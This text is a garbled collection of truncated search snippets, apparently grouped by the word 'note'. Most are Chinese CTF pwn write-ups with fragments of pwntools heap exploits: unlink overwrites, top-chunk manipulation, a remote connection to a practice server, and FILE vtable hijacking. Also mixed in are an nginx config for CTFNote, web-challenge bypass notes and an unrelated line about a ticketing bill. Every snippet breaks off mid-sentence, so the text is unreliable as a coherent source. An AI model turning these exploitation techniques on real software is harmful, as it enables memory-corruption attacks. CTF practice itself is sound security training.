对应的代码如下 # edit the chunk1 to overwrite the chunk2deletenote(1)content='a'*16+p64(0xa0)+p64(0x90)newnote(0,content)# delete note 2 to trigger the unlink# after unlink, ptr[0] = ptr - 0x18deletenote(2) 首先释放 chunk1,由于该 chunk 属于 fastbin,所以下次在申请的时候仍然会申...
漏洞利用代码如下: frompwnimport*p = process('./note3')#context.log_level = 'debug'defnew(size,content):p.sendlineafter('option--->>','1')p.sendlineafter('1024)',str(size))p.sendlineafter('content:', content)p.recvuntil('\n')defedit(idx, content):p.sendlineafter('option--->>',...
It is assumed that you want to serve CTFNote over HTTPS. An example configuration fornginxon the host looks like this: server { server_name ctfnote.my.domain; root /var/www/html; index index.html; location / { proxy_pass http://127.0.0.1:8080/; proxy_http_version 1.1; proxy_set_hea...
actf_2019_actfnote 技术标签: 题目 BUUCTF pwn ctf 思路 通过溢出将topchunk的位置向上提然后申请堆块即可完成一次任意地址写入 exp: #!/usr/bin/python2 from pwn import * #p=process('./ACTF_2019_ACTFNOTE') p=remote('node3.buuoj.cn',26474) elf=ELF('./ACTF_2019_ACTFNOTE') libc=elf...
“百度杯”CTF比赛 2017 二月场 - misc 2 上古神器 题目内容: 第二层虚数空间是上古之神密神守护,密神精通各类法器加密解密珠算之法更是出神入化。 华夜十分客气对密神道:在下是天族太子华夜。赴诸神之战,还请上神行个方便,让在下通过这第二层虚数空间 密神听了华夜的话之后,十分激动:如果你要通过第二层虚...
Note SCUCTF: 1. 一款船细的外部题目 200 无验证码,脚本爆破,有上传点,php上传点绕过 2. 一道入门的代码审计 170 读源码,md5弱类型绕过,file_put_contents 备注:// @$_GET['filename'] xctf平台 TODO web/JS逆向 https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=4810ref:htt...
But that was just a momentary pause, according to Rep. Gus Bilirakis (R-FL), who co-sponsors the bill and provided the CTF Keynote address Thursday afternoon. “Our bill brings much-needed transparency to the whole ticketing industry, and I’m committed to working to get these reforms pas...
调用fwrite最终会走到调用stdout虚表里的IO_xsputn,查阅资料后,我发现可以将其劫持为IO_str_overflow,因为这里有一个我们可以控制的函数指针,那我们应该怎样更改虚表呢。我们都知道虚表跳转是根据偏移来的,比如这次调用IO_xsputn,是虚表里第六项,而IO_str_overflow是第二项,所以我们可以将IO_file_jumps的地址改成IO...
elf = ELF('./BFnote') libc1 = ELF('./libc.so.6') libc2 = elf.libc print hex(libc1.symbols['_IO_2_1_stdout_']) print hex(libc2.symbols['_IO_2_1_stdout_']) #gdb.attach(p,'b* 0x8048907') p.recvuntil('Give your description : ') ...
HTBCTF2024 deathnote复现 当时比赛感觉差点做出来了,当时还是有点急,忽略了一些东西,没太弄清楚,赛后看wp茅塞顿开。 j3ff@j3ff:~/桌面/pwn000/cyber/pwn_deathnote/challenge$ checksec deathnote[*]'/home/j3ff/桌面/pwn000/cyber/pwn_deathnote/challenge/deathnote'Arch: amd64-64-little...